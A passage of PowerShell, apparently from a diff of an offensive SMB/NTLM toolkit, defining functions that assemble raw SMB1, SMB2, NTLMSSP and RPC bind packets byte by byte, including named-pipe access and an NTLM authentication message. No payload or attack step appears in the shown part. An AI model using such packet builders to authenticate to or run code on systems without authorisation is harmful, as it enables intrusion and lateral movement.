$packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) - - return $packet_SMBTreeConnectAndXRequest - } - - function Get-PacketSMBNTCreateAndXRequest() - { - param([Byte[]]$packet_named_pipe) - - [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) - $packet_named_pipe_length = $packet_named_pipe_length[0,1] - [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) - $packet_file_name_length = $packet_file_name_length[0,1] - - $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) - - return $packet_SMBNTCreateAndXRequest - } - - function Get-PacketSMBReadAndXRequest() - { - $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBReadAndXRequest - } - - function Get-PacketSMBWriteAndXRequest() - { - param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) - $packet_write_length = $packet_write_length[0,1] - - $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) - - return $packet_SMBWriteAndXRequest - } - - function Get-PacketSMBCloseRequest() - { - param ([Byte[]]$packet_file_ID) - - $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) - $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) - $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBCloseRequest - } - - function Get-PacketSMBTreeDisconnectRequest() - { - $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) - $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBTreeDisconnectRequest - } - - function Get-PacketSMBLogoffAndXRequest() - { - $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBLogoffAndXRequest - } - - #SMB2 - - function Get-PacketSMB2Header() - { - param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) - - [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 - - $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) - $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) - $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) - $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) - $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) - $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SMB2Header - } - - function Get-PacketSMB2NegotiateProtocolRequest() - { - $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) - - return $packet_SMB2NegotiateProtocolRequest - } - - function Get-PacketSMB2SessionSetupRequest() - { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) - - return $packet_SMB2SessionSetupRequest - } - - function Get-PacketSMB2TreeConnectRequest() - { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) - - return $packet_SMB2TreeConnectRequest - } - - function Get-PacketSMB2CreateRequestFile() - { - param([Byte[]]$packet_named_pipe) - - $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) - $packet_named_pipe_length = $packet_named_pipe_length[0,1] - - $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) - - return $packet_SMB2CreateRequestFile - } - - function Get-PacketSMB2ReadRequest() - { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) - - return $packet_SMB2ReadRequest - } - - function Get-PacketSMB2WriteRequest() - { - param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) - - $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_SMB2WriteRequest - } - - function Get-PacketSMB2CloseRequest() - { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) - - return $packet_SMB2CloseRequest - } - - function Get-PacketSMB2TreeDisconnectRequest() - { - $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) - - return $packet_SMB2TreeDisconnectRequest - } - - function Get-PacketSMB2SessionLogoffRequest() - { - $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) - - return $packet_SMB2SessionLogoffRequest - } - - #NTLM - - function Get-PacketNTLMSSPNegotiate() - { - param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] - [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 - [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 - [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 - [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 - - $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_version) - { - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) - } - - return $packet_NTLMSSPNegotiate - } - - function Get-PacketNTLMSSPAuth() - { - param([Byte[]]$packet_NTLM_response) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] - [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) - $packet_ASN_length_1 = $packet_ASN_length_1[1,0] - [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) - $packet_ASN_length_2 = $packet_ASN_length_2[1,0] - [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) - $packet_ASN_length_3 = $packet_ASN_length_3[1,0] - - $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) - - return $packet_NTLMSSPAuth - } - - #RPC - - function Get-PacketRPCBind() - { - param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) - - [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) - - $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) - $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) - $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) - $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) - $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) - $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) - $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) - $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) - $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) - - if($packet_num_ctx_items[0] -eq 2) - { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - } - elseif($packet_num_ctx_items[0] -eq 3) - { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) 